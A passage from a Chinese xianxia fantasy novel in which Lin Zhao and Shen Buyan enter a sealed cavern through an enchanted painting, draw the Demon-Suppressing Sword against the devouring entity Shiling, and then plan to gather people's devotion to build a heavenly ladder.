文字详细记载了通天梯的建造原理:以地脉为基,以天星为引,以修行者的信念为阶,构建一道连接人间与天界的桥梁。天梯本身不是实体,而是一种“阵法实体化”的产物,需要三大核心材料:
一、天地树之心——作为阵眼,稳定空间。
二、镇魔剑——作为支柱,贯通阴阳。
三、万人愿力——作为阶梯,承载登天之重。
此外,还需要数以百计的辅材,包括各种珍稀矿石、灵草、妖兽骨血……有些材料林照听师父提过,有些闻所未闻。
而建造过程更是复杂到令人绝望:需要先在特定地点布下“接引大阵”,再以特殊手法炼制材料,最后还需要至少九名金丹期修士同时施法,才能将天梯从虚空中“召唤”出来。
看完所有文字,林照的心沉到了谷底。
太难了。
别说三天,三年都未必能建成。
“等等,”沈不言忽然指着画面边缘,“这里还有一行小字。”
林照凑近看。
那是一行几乎看不见的注解,写着:“若事急,可取巧法:以画为梯,以心为引,借天地树之力,短暂通幽。”
“什么意思?”林照皱眉。
沈不言沉吟片刻:“或许……这幅画本身,就是一道‘简化版’的天梯?不需要建造,只需要激活?但‘短暂通幽’——通的是什么幽?天界?还是……镇渊门?”
两人对视,都看到了对方眼中的震惊。
如果这幅画能连通镇渊门,那他们就可以直接进入门内,寻找镇魔剑和养灵土,甚至……直面噬灵。
“试试?”林照问。
沈不言点头:“需要怎么做?”
林照看向那行注解:“‘以画为梯,以心为引’……可能需要集中精神,将意念投入画中?‘借天地树之力’——应该需要天地树提供灵气支撑。”
她盘膝坐下,将《云海图》平铺在膝上,双手按在画纸边缘。沈不言站在她身后,一手搭在她肩上,随时准备输送剑气护持。
阿茸也走过来,安静地伏在林照脚边。
林照闭上眼,深呼吸。
她想象自己站在云海前,看着那座隐于云雾的天梯。她想象自己迈出脚步,踏上一级级无形的阶梯。她想象自己向上攀登,穿过云层,穿过罡风,穿过虚空……
意念越来越集中。
忽然,她感觉到膝上的画纸开始发烫。
睁眼一看,画上的云海竟然流动起来!那些云雾翻涌、旋转,渐渐在画面中央形成一个漩涡。漩涡深处,隐约可见一条盘旋而上的阶梯虚影。
与此同时,天地树的枝叶无风自动,无数光点从叶片上飘落,如萤火般汇聚到画纸上。画纸的质地开始变化——从普通的宣纸,渐渐变得透明、莹润,像一块薄薄的水晶。
水晶中,阶梯越来越清晰。
“成功了!”林照惊喜道。
但下一秒,异变突生。
画纸上的漩涡骤然扩大,一股恐怖的吸力传来!林照整个人被吸得向前倾倒,半个身子都探进了漩涡中!
“林照!”沈不言一把抓住她的手臂。
但吸力太强了,连沈不言都被带得踉跄一步。漩涡深处传来低沉的轰鸣声,像有什么东西在苏醒,在呼唤,在……饥饿地等待。
那不是天界的气息。
那是深渊的气息。
是镇渊门内的气息!
“这不是通天梯……”林照咬牙抵抗着吸力,“这是……通往镇渊门的通道!周言把通道藏在了画里!”
难怪注解写着“短暂通幽”——通的是九幽,是噬灵被镇压的地方!
沈不言全力运转剑气,试图将林照拉回来。但吸力越来越强,漩涡边缘开始崩裂,画纸发出不堪重负的“咔嚓”声。
这样下去,两人都会被吸进去!
就在这时——
“咩!!”
阿茸忽然发出一声长鸣。
它站起身,头顶的金角光芒大盛。那光芒温暖、厚重,带着大地的气息,瞬间笼罩了整个院子。光芒所及之处,狂暴的吸力骤然减弱,漩涡的扩张也停滞了。
趁此机会,沈不言猛地发力,将林照拉了回来。
两人跌坐在地,大口喘气。
再看那幅画,漩涡已逐渐缩小,最终恢复成平静的云海。但画纸中央多了一道细小的裂痕,像一道伤疤。
“阿茸……”林照看向白羊。
阿茸的金角光芒渐渐暗淡,它晃了晃脑袋,似乎有些疲惫,但仍坚持站着。
林照抱住它:“谢谢你,阿茸。”
阿茸蹭了蹭她的脸,又重复了一遍:“梯在画里。”
“我明白了。”林照轻声道,“这幅画确实是通道,但不是用来登天的,是用来镇魔的。周言留下它,或许是想让后人有机会进入镇渊门,完成镇渊子未竟之事。”
沈不言皱眉:“可我们进去又能如何?噬灵连镇渊子都杀不死,我们……”
“我们不一定要杀死它。”林照说,“我们可以找镇魔剑、养灵土,加固封印。还可以……看看镇渊子留下的‘通天梯图纸’原件。百晓生说图纸在门内,或许那里有更完整的建造方法,或者……有其他出路。”
这很冒险。
但眼下,似乎没有更好的选择了。
“什么时候进去?”沈不言问。
林照看向晒谷观外。麦田在风中摇曳,远山青黛,天空湛蓝。这是她守护的人间。
“明天。”她说,“今晚我准备一些东西,明天一早出发。如果……如果我们三天后没回来,陈砚他们应该已经找到其他线索了。”
她没说“死”字,但两人都懂。
沈不言点点头:“好。”
这一夜,林照几乎没睡。
她整理了所有可能用得上的东西:斧头、药草、干粮、水囊、还有师父留下的一些符箓。她给天地树浇了水,给麦田除了草,给羊圈添了草料。她还去看了孩子们——他们都睡了,小脸红扑扑的,梦里还在咂嘴。
最后,她坐在院子里,对着月光磨斧头。
斧刃映着月光,寒光凛冽。
沈不言坐在不远处的石磨上,默默擦剑。
“沈先生,”林照忽然开口,“你后悔吗?”
“后悔什么?”
“后悔来晒谷观,卷入这些事。如果那天你们没有来找我,现在应该还在云游四方,逍遥自在。”
沈不言想了想,摇头:“不后悔。”
“为什么?”
“因
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为见到了不一样的风景。”他说,“以前我只知道山高水长,剑利人亡。现在我知道了,山高是为了让人攀登,水长是为了滋润土地,剑利是为了守护,人亡……也未必是终点。”
他顿了顿:“就像麦子,一茬死了,种子还在,明年又会长出来。人或许也是。”
这话很沈不言——简单,直接,但直指本质。
林照笑了:“你说得对。”
她磨完斧头,起身回屋。走到门口时,她回头:“沈先生,如果这次能活着回来,我教你种麦子吧。”
沈不言一愣:“为什么?”
“因为你该学学。”林照说,“剑只能斩断,但土地能生长。有时候,生长比斩断更需要勇气。”
说完,她关上了门。
沈不言坐在月光下,久久未动。
与此同时,百里之外。
陈砚和李慕云正在一座繁华城池的酒楼里,与一名中年修士对坐。
那修士是李家商号的老主顾,专做古籍生意。听到“通天梯图纸”几个字,他脸色一变,压低声音:
“两位,这事……可不好打听。”
“为何?”李慕云问。
“因为涉及一桩旧案。”修士环顾四周,确认无人偷听,才说,“大约五十年前,曾有一伙修士声称找到了通天梯图纸,要建梯登天。他们聚集了近百人,在东域闹得沸沸扬扬。但后来……所有人都失踪了。”
“失踪?”
“嗯,一夜之间,全不见了。”修士声音发颤,“现场只留下一地枯骨,和一张烧了一半的羊皮纸。有人认出,那是镇渊子的笔迹。”
陈砚心头一紧:“图纸呢?”
“被烧了。”修士说,“但有人说,烧掉的是赝品,真品早就被转移了。转移的人……姓周。”
李慕云手中的茶杯一顿:“周?哪个周?”
“不知道全名,只知道是个画师。”修士说,“那人痴迷山水画,常年在各名山大川游历。有人说他是在找建天梯的最佳地点,也有人说……他是在躲什么人。”
陈砚和李慕云对视一眼。
画师。姓周。
周言。
“可周言年纪对不上,我们不久前还炼心台见过他,会不会是周言的师傅周文竹?”陈砚小声说道。
修士又继续说道。
”曾经有传青山画派的师祖误入一处秘境。他在那里看见了一座山,山在云上,屋在山顶。他画了下来,但画完的瞬间,那幅画自燃了——天火焚画,不留痕迹。”
陈砚看向李慕云。
“那位画师后来如何了?”李慕云问。
“死了。”修士叹息,“有人在一处山谷里发现他的尸体,身边散落着许多画稿。尸体已经风化,但画稿保存完好——怪就怪在这里,那些画稿明明只是普通山水,却没人能带走。谁碰,画就自燃。”
陈砚猛地站起:“那些画稿现在在哪儿?”
“据说被一个道观收走了。”修士想了想,“好像叫……晒谷观?对,就是晒谷观。观主是个老道士,说这些画与他有缘,便带回去了。”
李慕云也站了起来。
两人扔下一袋灵石,转身就往外冲。
“快!回晒谷观!”陈砚声音急促,“图纸就在那些画里!林照有危险!”
他们不知道的是,此刻的晒谷观,林照和沈不言已经站在了那幅《云海图》前。
天刚蒙蒙亮。
林照背好行囊,手握斧头。沈不言剑已出鞘,剑光清冷。
阿茸站在一旁,金角微微发亮。
“准备好了?”林照问。
沈不言点头。
林照将手按在画纸上,再次闭上眼。
这一次,她没有抵抗那股吸力,而是主动将意念沉入画中。
云海翻涌,漩涡再现。
但这次,漩涡没有狂暴扩张,而是稳定成一个直径三尺的光门。门内漆黑一片,只有隐约的阶梯轮廓,向下延伸,深不见底。
“走。”
林照迈步,踏入光门。
沈不言紧随其后。
阿茸也想跟进去,但光门在两人进入后迅速收缩,眨眼间消失不见。画纸飘落在地,云海依旧,只是那道裂痕又延长了几分。
小羊焦急地围着画打转,咩咩直叫。
可这一次,再无人回应。
光门之内,是另一番天地。
林照感觉自己在下坠——不是垂直下坠,而是沿着螺旋的阶梯盘旋而下。四周一片漆黑,只有阶梯边缘散发着微弱的荧光。空气潮湿阴冷,带着浓重的腥气,像深海,又像墓穴。
不知下了多久,前方终于出现了一点亮光。
两人落地,站稳。
眼前是一个巨大的地下洞窟。
洞窟高近百丈,宽广如平原。洞壁镶嵌着无数发光的矿石,像星辰般照亮空间。洞窟中央,矗立着一座石台,石台上插着一柄剑。
剑长四尺,剑身宽厚,通体青黑,剑柄处刻着两个古篆:
“镇魔”。
而在石台后方,洞窟的尽头,是一面巨大的石壁。
石壁上,刻着一幅恢弘的壁画——
那是一座通天之梯,从人间拔地而起,穿过云海,穿过九霄,直抵一座巍峨的天门。梯上有人攀登,有人坠落,有人化为枯骨,有人羽化登仙。
壁画下方,还有密密麻麻的文字。
那是完整的、毫无保留的、通天梯建造全图。
但林照和沈不言都没来得及细看。
因为,就在他们踏入洞窟的瞬间,石壁深处,传来了一声满足的、贪婪的叹息:
“食物……来了……”
声音低沉,嘶哑,带着千年饥饿的回响。
洞窟开始震动。
石壁上的壁画,那些攀登天梯的人影,忽然开始扭曲、蠕动,像活过来一般。
而壁画最底端,那道象征“人间”的门户,正在缓缓打开。
门后,是无尽的黑暗。
和一双,巨大、浑浊、布满血丝的眼睛。
26. 剑与麦
壁画上那些扭曲的人影,正缓慢地挣脱石壁的束缚。它们的动作僵硬如傀儡,却带着某种令人心悸的执着——仿佛被囚禁了千年的执念,终于找到了宣泄的出口。
“食物……”
石壁深处的叹息声更清晰了。那双巨大浑浊的眼睛,正从壁画底端的门户后缓缓升起。门户边缘的石料在剥落,化作齑粉,飘散在洞窟空气中。
林照握紧斧头,掌心沁出冷汗。
她从未感受过如此纯粹的恶意——不是仇恨,不是愤怒,而是一种最原始的、仿佛要吞噬一切活物的饥饿。这股饥饿感正从石壁深处弥漫开来,连洞窟里的光都开始暗淡。
“先取剑。”沈不言低喝一声,身形如箭掠向石台。
他的剑已出鞘,剑气在身前凝聚成一道淡青色的屏障。但就在他距离石台三丈时,石台上方突然浮现出一层半透明的光罩——光罩上流转着密密麻麻的古篆符文,每一道符文都散发着镇压万物的气息。
沈不言的剑气撞上光罩,发出金属交击般的刺耳鸣响。
光罩纹丝不动。
“需要血。”林照忽然想起百晓生的话,“镇魔剑以镇渊子血肉为引……可能也需要他的血脉,或者……同源的气息才能拔起。”
她冲到石台前,伸手触摸光罩。
触感冰凉坚硬,像千年寒冰。但就在她的手掌触碰到光罩的瞬间,她怀里的那枚晒谷观木牌忽然微微发烫——那是老谷头留给她的,据说是晒谷观初代观主的信物。
光罩上的符文,竟开始微微闪烁。
“有用!”沈不言眼睛一亮。
林照咬破指尖,将一滴血滴在光罩上。
血珠触及光罩的瞬间,符文骤然亮起刺目的红光!整个光罩开始剧烈震颤,发出“咔嚓咔嚓”的碎裂声。但碎裂的只是光罩外层——内层,更多更复杂的符文正从石台深处涌出,像锁链般缠绕向林照的手臂。
“它在试探我。”林照咬牙,“不是血脉,是……道心。镇魔剑要的是和镇渊子同源的道心。”
她闭上眼,不再抵抗那些缠绕上来的符文锁链。
锁链冰冷刺骨,顺着她的手臂蔓延向全身。每一道锁链都带着某种古老的神念,在她识海中翻涌、探查——
它们看见晒谷观的麦田,看见老谷头佝偻的背影,看见林照在暴雨中观雨的澄明,看见她在玄霄阁试炼中为救陌生人而舍去晋级机会的决绝,看见她抱着阿茸说“你比仙人有用”时的温柔……
锁链的缠绕忽然放缓了。
石台深处,传来一声极轻微的、仿佛来自遥远时空的叹息:
“种地人……”
“轰!”
光罩彻底破碎。
林照睁开眼,看见镇魔剑的剑柄就在眼前。剑柄粗糙质朴,没有任何装饰,只刻着那两个古篆字:镇魔。
她伸手,握住剑柄。
触手的瞬间,一股浩瀚的意念涌入她的识海——
那是镇渊子的记忆碎片。
千年前,落星谷还不是谷,而是一片荒山。
年轻的镇渊子在山中修行,偶得天地树种子,悟出“以地为根,以天为梯”的道法。他本可逍遥世外,却在一次地脉探查中,发现了地底深处的异样。
那里,有一个“空腔”。
空腔中,沉睡着一团混沌的意志。它没有实体,没有思维,只有最原始的欲望:吃。它吞噬一切灵气、生机、乃至修行者的道基。它像一道永远填不满的深渊,正缓慢地向上侵蚀。
镇渊子试图沟通,试图教化,试图封印——全部失败。
那东西没有善恶观念,不懂人言,不理天道,只是一味地“吃”。它已经吞噬了方圆百里的三条灵脉,正在向第四条蔓延。照此速度,百年内,整个东域的灵脉都将枯竭。
届时,东域将成死地。
镇渊子做了一个决定。
他以上古禁术“镇渊诀”为基,以落星山为阵眼,以天地树种子为钥匙,布下了一个横跨百里的封印大阵。此阵需以布阵者全部修为和血肉为祭,方能运转。
阵成那日,镇渊子坐在阵眼处,看着漫天星光。
他没有后悔,只是遗憾——遗憾没能看一眼天地树长大后的样子,遗憾没能尝一口用天地树种子种出的第一茬麦子。
“后来者,”他对着虚空自语,“若你心有牵挂,若你愿为一片麦田、一个生灵、一方水土而拔剑,那便来此,取剑镇魔。若你只为成仙,只想登天,那便离去——此剑,不为你拔。”
记忆碎片到此为止。
林照握剑的手在颤抖。
不是因为恐惧,是因为共鸣——那种“愿为一片麦田拔剑”的心意,跨越千年,与她的道心完美契合。
“我明白了。”她轻声说,“镇渊子前辈,我替你守这片水土。”
她用力拔剑。
“锵——”
剑身离台的瞬间,整个洞窟爆发出刺目的青光!青光中,镇魔剑的真容显现:剑身宽厚如尺,剑刃无锋,剑脊上刻着山川河流的纹路,剑尖处有一点微芒,像黎明前的第一缕晨光。
此剑,不是用来杀伐的。
是用来丈量、守护、斩断贪欲的。
与此同时,石壁深处传来一声愤怒的咆哮!
壁画上的门户彻底崩碎,那双巨大的眼睛终于完全显露——不,那不是眼睛,而是一团由无数细小眼睛组成的、不断蠕动变化的肉球。每一只眼睛都在转动,都在搜寻,都在传达着同一个意念:
“饿……饿……”
它没有具体的形态,像一团黏稠的黑雾,又像一团聚合的虫群。它从门户中涌出,所过之处,壁画上的人影纷纷被吸入体内——那些被囚禁了千年的执念,成了它最新的养料。
“这就是……噬灵的本体?”沈不言瞳孔骤缩。
林照握紧镇魔剑,剑身传来温润的触感,像握住了一截还带着体温的树根。
“它比我们想象的更可怕。”她说,“它不是妖魔,也不是邪祟,它是……天地的病。一种永远填不满的‘空虚’,一种只知吞噬的‘饥饿’。镇渊子当年无法杀死它,只能封印,就是因为——它没有生命,何谈死亡?”
没有生命,何谈死亡。
这话让沈不言心头一凛。
确实,他感受不到噬灵身上的生机,也感受不到死气。那只是一团纯粹的“欲望”,一团被具象化的“饥饿”。它不需要呼吸,不需要思考,甚至不需要移动——它只需要张开“嘴”,就能吞噬一切。
“那怎么打?”沈不言握剑的手紧了紧。
“不打。”林照说,“填它。”
“填?”
“用这个。”林照从怀里取出一个小布袋——里面装着晒谷观的土,混合着天地树根系的碎屑,还有她今早出门前随手抓的一把麦种。
布袋很小,土很少。
但当她打开布袋的瞬间,一股浓郁到近乎实质的生机气息弥漫开来。那是晒谷观三百年的麦香,是天地树初生的纯净,是老谷头一代代人用汗水浇灌出的、最朴素的“活着”的味道。
噬灵的动作忽然停滞了。
那些密密麻麻的眼睛,齐刷刷转向林照手中的布袋。眼神中的贪婪达到了顶峰——它感受到了,那是比灵气更纯粹、比道基更珍贵的东西:
生命的本源。
“来吃吧。”林照将布袋抛向空中,同时举起镇魔剑,“但你得先……接我一剑。”
她不会剑法。
她只会种地。
所以她这一剑,不是刺,不是斩,不是劈——是“种”。
像把麦种撒进地里,像把树苗埋进土里,像把希望种进心里。镇魔剑在她手中化作一道青色的弧光,弧光过处,虚空中竟隐隐浮现出麦田的虚影,有风吹过,麦浪起伏。
剑光触及噬灵的瞬间,没有爆裂,没有穿透。
而是……生根。
无数细小的、青翠的根须从剑光中生长出来,扎进噬灵那团蠕动的躯体里。根须所到之处,噬灵的“饥饿”被某种更柔和、更坚韧的力量包裹、稀释、转化。
噬灵发出痛苦的尖啸。
不是□□的痛苦,是“存在”被否定的痛苦——它生来只为吞噬,可这些根须却在它体内“种”下了别的东西:生机、希望、牵挂、还有……“吃饱了就停”的节制。
它在抗拒,疯狂地扭动,试图甩掉那些根须。
但根须越来越多,越来越密,最后竟在它体内结成了一张青色的网。网上,有麦穗在抽芽,有野花在绽放,有炊烟在升起。
那是晒谷观的一天。
是林照最平凡也最珍贵的记忆。
“你不该存在。”林照轻声说,“不是因为你是魔,是因为你只知道‘吃’,不知道‘饱’。不知道饱,就永远不懂‘够了’的快乐。”
镇魔剑的光芒越来越盛。
剑身上的山川河流纹路仿佛活了过来,在虚空中投影出落星谷的山水、晒谷观的麦田、还有远方小镇上的人间烟火。
这些景象,像最温柔的毒药,一点点侵蚀着噬灵的“饥饿”。
它开始缩小,开始淡化,开始……变得透明。
但就在即将被彻底净化的瞬间,噬灵的核心处,忽然爆发出最后一股疯狂的反扑——
它放弃了所有防御,将所有力量凝聚成一点,化作一道漆黑的箭矢,射向林照的心口!
那是它最后的“饥饿”,最后的“不甘”。
箭矢太快,太突然。
林照来不及躲。
“小心!”
沈不言的身影忽然出现在她身前。
他没有出剑格挡——来不及了。他只是侧过身,用左肩迎上了那支箭矢。
“嗤——”
箭矢没入血肉的声音。
沈不言的身体剧烈一震,脸色瞬间苍白如纸。但他没有倒下,反而借着这股冲击力,右手长剑反手斩出——
这一剑,不是斩向噬灵。
是斩向虚空。
斩向那道连接洞窟与《云海图》的光门。
剑光过处,光门骤然扩大,化作一个漩涡。
“走!”沈不言抓住林照的手臂,纵身跃入漩涡。
身后,噬灵最后的尖啸声被隔绝在另一个空间。
两人跌出光门,摔在晒谷观的院子里。
正值黄昏,夕阳如血。
林照爬起来的第一件事就是去看沈不言的伤势——他的左肩上,一个拇指大小的黑洞正在缓慢扩大。洞的边缘没有流血,只有丝丝缕缕的黑气在往外冒。黑气所过之处,血肉在枯萎,生机在流逝。
“沈先生!”林照声音发颤。
沈不言靠在石磨上,额头上全是冷汗,但表情依然平静:“没事……暂时死不了。”
“这叫没事?”林照眼眶红了,“那是噬灵最后的诅咒……它在吞噬你的生机!”
她手忙脚乱地翻找药草,却发现晒谷观的草药对这种“诅咒”根本无效。镇魔剑插在一旁,剑身暗淡,似乎也耗尽了力量。
怎么办?
她第一次感到如此无力。
“林照。”沈不言忽然唤她。
“我在。”
“如果……我真撑不住了,”沈不言看着她,“你记得把我的剑,埋在晒谷观后山。那里阳光好,适合……长东西。”
“你闭嘴!”林照眼泪掉下
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来,“我不准你死!你还没学会种麦子呢!你答应过我的!”
沈不言扯了扯嘴角,想笑,却咳出一口黑血。
黑血落在地上,腐蚀出一个小坑。
林照的心沉到了谷底。
就在这时——
“咩。”
阿茸走了过来。
它低下头,用金色的角轻轻触碰沈不言肩上的伤口。
奇迹发生了。
金角触及伤口的瞬间,那些往外冒的黑气忽然停滞了。紧接着,金角散发出温暖柔和的光芒,光芒如水般流淌进伤口里。伤口深处,隐约传来噬灵残留意识的尖啸——但那尖啸很快被光芒淹没、净化。
沈不言肩上的黑洞,开始以肉眼可见的速度缩小。
一刻钟后,伤口完全愈合,只留下一道浅白色的疤痕。
沈不言的脸色恢复了红润,呼吸也变得平稳。
他怔怔地看着阿茸:“你……”
阿茸收回金角,晃了晃脑袋,似乎有些疲惫。它走到林照脚边,蹭了蹭她的手,然后趴下,闭上眼睛,很快睡着了。
林照抱起阿茸,发现它体温有些高,呼吸也比平时急促。
“它消耗太大了。”林照轻声说,“阿茸……到底是什么?”
这个问题,没人能回答。
夕阳西下,院子里的天地树在晚风中轻轻摇曳。树叶沙沙作响,像是在诉说着某个古老的秘密。
林照扶着沈不言进屋休息,又给阿茸盖了条毯子。
然后她走到院子里,看着那幅《云海图》。
画纸上的裂痕又扩大了些,几乎要将整幅画一分为二。但裂痕边缘,隐约有新的墨迹在生长——不是人为添加的,是画纸自己在“愈合”。
画中的云海,似乎也比之前更生动了些。
林照忽然意识到:这幅画,可能不只是一个通道。
它可能是一个……活物。
一个承载了周言全部道心与执念的、介于虚实之间的存在。
她正想着,院外忽然传来急促的脚步声。
“林照!林照你在吗?”
是陈砚和李慕云的声音。
两人冲进院子,满头大汗,神色焦急。看到林照安然无恙,他们才松了口气。
“你们没事吧?”李慕云喘着气,“我们打听到……那些画里藏着通天梯图纸!这些画可能和周言的师祖周云鹤,青山画派的开山祖师有关,曾经有传周言师祖误入一处秘境。他在那里看见了一座山,山在云上,屋在山顶。他画了下来,但画完的瞬间,那幅画自燃了——天火焚画,不留痕迹。”
“我也听周言曾说过,因为那座山不容于世。”林照接着说道。
沈不言继续说道。
“打听到周言师祖周云鹤临终前,把这件事告诉了他的师父的师父,他师父周文竹又告诉了周言。周言不是普通画师,他是镇渊子当年好友周云鹤的隔代传人!”
林照指了指石桌上的《云海图》:“我们已经知道了,只是没有想到真相这么复杂。”
她把洞窟里发生的事简要说了一遍。
陈砚听完,脸色凝重:“所以,噬灵还没死,只是被暂时压制了?镇魔剑也无法彻底消灭它?”
“嗯。”林照点头,“镇渊子当年做不到的事,我们也做不到。但……我们或许可以走另一条路。”
“什么路?”
林照看向那幅画:“建通天梯,借天力诛魔。”
李慕云苦笑:“可建天梯需要多少材料、多少人力、多少时间?我们只有三天——不,现在可能只剩两天了。”
“不一定需要完全建好。”林照说,“周言把通道藏在画里,说明他早就想到了简化版的方法。这幅画本身,可能就是天梯的‘种子’。”
她顿了顿:“我们需要做的,不是从零开始建梯,而是……让这颗种子发芽。”
“怎么发芽?”
林照看向院子里沉睡的阿茸,看向屋里的沈不言,看向远方的落星湖方向。
“用牵挂。”她说,“用所有想守护这片水土的人的牵挂,作为天梯的‘台阶’。”
陈砚和李慕云对视一眼。
这个想法太大胆,太缥缈。
但不知为何,他们觉得……或许真的可行。
因为晒谷观本身,就是一个奇迹。
而林照,是最擅长种出奇迹的人。
夜幕降临。
林照坐在门槛上,看着满天繁星。
沈不言走到她身边坐下,左肩的疤痕在月光下若隐若现。
“疼吗?”林照问。
“不疼。”沈不言说,“比这重的伤,我受过很多次。”
“这次不一样。”林照转头看他,“这次,你是为我受的伤。”
沈不言沉默了一会儿:“值得。”
两个字,重如千钧。
林照鼻子一酸,又想哭,又想笑。
“沈先生,”她说,“等这件事了了,我真教你种麦子吧。从翻土开始,到收麦结束,一整套。”
“好。”沈不言点头,“我学。”
“你不嫌种地无聊?”
“不嫌。”沈不言看着远山,“你说过,生长比斩断更需要勇气。我想试试……需要勇气的活法。”
林照笑了。
笑着笑着,眼泪掉下来。
她抬头看天,星空浩瀚,银河如练。
云外有什么?
有天梯,有仙宫,有无数人梦寐以求的长生。
但此刻她觉得,云外最好的风景,大概是此刻——有人并肩而坐,有人等你回家,有人愿意和你学种麦子。
这就够了。
27. 牵挂为阶
一夜无眠。
天未亮,林照便起身在院子里忙活。她烧了一锅粥,蒸了窝头,又从菜地里摘了几根黄瓜凉拌。灶火映着她沉静的脸,柴火噼啪声在晨雾中显得格外清晰。
沈不言推门出来时,粥刚好煮好。
“醒了?”林照舀了一碗粥递给他,“趁热喝。阿茸也醒了,在啃草。”
沈不言接过碗,坐在门槛上。粥是小米掺了麦仁,熬得浓稠,米香混着麦香,朴素却踏实。他喝了一口,胃里暖起来,肩上的伤疤似乎也不那么疼了。
“你今天打算怎么做?”他问。
林照也给自己舀了一碗,坐在他身边:“先试一件事——验证‘牵挂’是否真能作为天梯的‘台阶’。”
“怎么验证?”
“用这个。”林照从怀里取出老谷头留下的木牌,又拿出周言那幅《云海图》,“木牌里有晒谷观历代观主的愿力,画里有周言的执念。如果牵挂真能被具象化,这两样东西应该会有所反应。”
她将木牌放在画纸上,屏息凝神。
晨光熹微,院子里很静。天地树的叶子在晨风中轻轻摇曳,阿茸啃草的声音窸窸窣窣。时间一点点流逝,木牌和画纸都没有动静。
就在林照以为失败时,画纸上的云海忽然开始流动。
不是之前那种狂暴的漩涡,而是轻柔的、缓慢的流动,像微风拂过真正的云。云海深处,那座隐约的天梯轮廓,似乎比之前清晰了一点点——真的只有一点点,如果不仔细看,几乎察觉不到。
但林照看见了。
她眼睛一亮:“有用!”
沈不言也凑近看:“确实……但效果太微弱了。这点牵挂,够铺一级台阶吗?”
“不够。”林照摇头,“我们需要更多——多得多。”
“去哪里找?”
林照看向东边,那是落星湖的方向:“去那里。那里有流云宗上百弟子,有秦长老,有附近村庄的百姓……他们都有想守护的东西,都有牵挂。”
她顿了顿:“而且,我怀疑流云宗内部,有镇渊子同伴的后人。”
沈不言眉头一皱:“你怎么知道?”
“直觉。”林照说,“百晓生说过,镇渊子不是独自镇魔。那他的同伴呢?后人呢?千年过去,血脉可能稀薄,传承可能断绝,但总该留下些什么。流云宗占据落星湖三年,对湖底了解甚少,这正常吗?还是说……有人在刻意隐瞒?”
这个猜测很大胆。
但沈不言没有反驳。他见识过人心的复杂,知道有些秘密比深渊更深。
“如果真有内奸,”他说,“我们此去就是自投罗网。”
“所以要小心。”林照起身收拾碗筷,“而且,我们不是一个人去。”
她看向屋里——陈砚和李慕云还在睡。这两个人,一个机敏,一个沉稳,都是值得托付后背的伙伴。
更重要的是,他们有各自的人脉和手段,能帮她做那些她做不了的事。
辰时三刻,安排好晒谷观的一切,四人一羊出发。
阿茸坚持要跟,林照拗不过它。白羊走在队伍最前面,金角在阳光下闪着微光,步履轻快,全然看不出昨晚的疲惫。
路上,林照把她的计划说了一遍。
“收集‘万人愿力’?”陈砚皱眉,“这听起来……有点像邪教的聚众祈祷。”
“不一样。”林照说,“邪教是强迫,是蛊惑。我们是请愿——请那些想守护家园的人,心甘情愿分出一缕牵挂,作为建天梯的材料。而且,不是白要,是用这个换。”
她从包袱里取出几个小布袋,每个袋子里都装着一撮晒谷观的土和几粒麦种。
“这是……”李慕云接过布袋,感受到其中浓郁的生命气息,不禁动容。
“晒谷观三百年的土地精华。”林照说,“虽然不多,但足够让一片贫瘠的土地恢复生机,让一棵枯树重新发芽。对那些即将失去家园的人来说,这比灵石更珍贵。”
陈砚明白了:“你是想用‘希望’换‘牵挂’。”
“对。”林照点头,“告诉他们,天梯建成,不仅能镇压噬灵,还能引天力滋养地脉,让落星谷恢复往日的灵气。这不是空话——天地树就是证明。”
她指了指阿茸:“而且,阿茸能辨别真心。如果有人心怀鬼胎,它会有反应。”
阿茸适时地“咩”了一声,像是在应和。
李慕云沉吟片刻:“这个办法或许可行。但时间太紧——两天,我们能收集多少愿力?”
“尽力而为。”林照说,“哪怕只够铺十级台阶,也能让我们登上半空,看得更远。看得远,或许就能找到别的办法。”
这话有些无奈,却是现实。
沈不言忽然开口:“我可以帮忙。”
“怎么帮?”
“我的剑气,能斩断虚假,也能连接真心。”沈不言说,“如果有人口是心非,我的剑能感应到。”
这倒是个意外的助力。
四人商议已定,加快脚步。
午时,他们回到了落星湖畔。
眼前的景象,让所有人都心头一沉。
湖面已经完全结冰了。
不是薄冰,是厚达三尺的坚冰。冰面呈诡异的青黑色,冰层下隐约可见扭曲的阴影在游动。湖心处,那道原本涌出灵泉的泉眼,此刻被冰封成一个巨大的冰瘤,冰瘤表面布满了蛛网般的裂痕,裂痕深处有黑气在渗出。
流云宗的防御阵法还在运转,但光芒已暗淡如残烛。阵法边缘,十几个弟子正在拼命往阵眼里塞灵石,可灵石刚放进去,就被阵法瞬间吸干,化作粉末。
“林姑娘!你们回来了!”秦长老从阵法中枢跑过来,脸色惨白,眼里布满血丝,“封印……撑不住了。最多还有一天,噬灵就会破冰而出!”
一天。
比预想的还要快。
林照深吸一口气,强迫自己冷静:“秦长老,我需要所有弟子和附近村民的帮忙。”
“帮什么忙?”秦长老苦笑,“我们现在连自保都难……”
“不是战斗。”林照打断他,“是请他们,分出一缕‘牵挂’给我。”
她简单解释了天梯和愿力的设想。
秦长老听完,先是一愣,随后眼神复杂地看着林照:“林姑娘,你知道这有多难吗?牵挂是人心最私密的东西,谁愿意轻易分给别人?而且……就算有人愿意,你怎么保证收集来的愿力纯净无暇?万一混入怨恨、贪婪、恐惧,那天梯还没建成就可能崩塌。”
这话问到了关键。
林照还没回答,阿茸忽然走上前,用角轻轻顶了顶秦长老的手。
秦长老低头,与阿茸那双琥珀色的眼睛对视。一瞬间,他感到一股温暖柔和的力量扫过心头,像春风拂过冰封的湖面,所有焦虑、怀疑、恐惧都被轻轻抚平。
他愣住了。
“阿茸能净化。”林照轻声说,“它能分辨真心,也能洗涤杂念。而且,我们不是白要愿力——我们用这个换。”
她递过去一个小布袋。
秦长老打开布袋,看到里面的土和麦种,感受到那股蓬勃的生机,手指微微颤抖:“这是……”
“能救活一片土地的希望。”林照说,“秦长老,流云宗占据落星湖三年,你们真的忍心看着这片水土彻底死去吗?那些依赖灵泉生活的村民,那些在湖边长大的孩子,那些每年春天都会飞回来的候鸟——你们真的,什么都不做吗?”
这番话,像锤子敲在秦长老心上。
他沉默了很久。
然后,他抬起头,眼里有了决意:“好。我帮你们。”
流云宗的动员能力比林照想象的要强。
一个时辰后,湖边聚集了两百多人——除了流云宗所有弟子,还有附近三个村子的村民。他们被召集到湖边空地上,脸上写满惶恐和不安。
秦长老站在临时搭起的高台上,声音传遍全场:
“诸位!落星湖下的魔物即将破封,此事已无可避免。硬抗,我们都会死。逃,能逃多远?魔物一旦出世,方圆百里将成死地,逃到哪里都是迟早的事。”
人群骚动,有人开始哭泣。
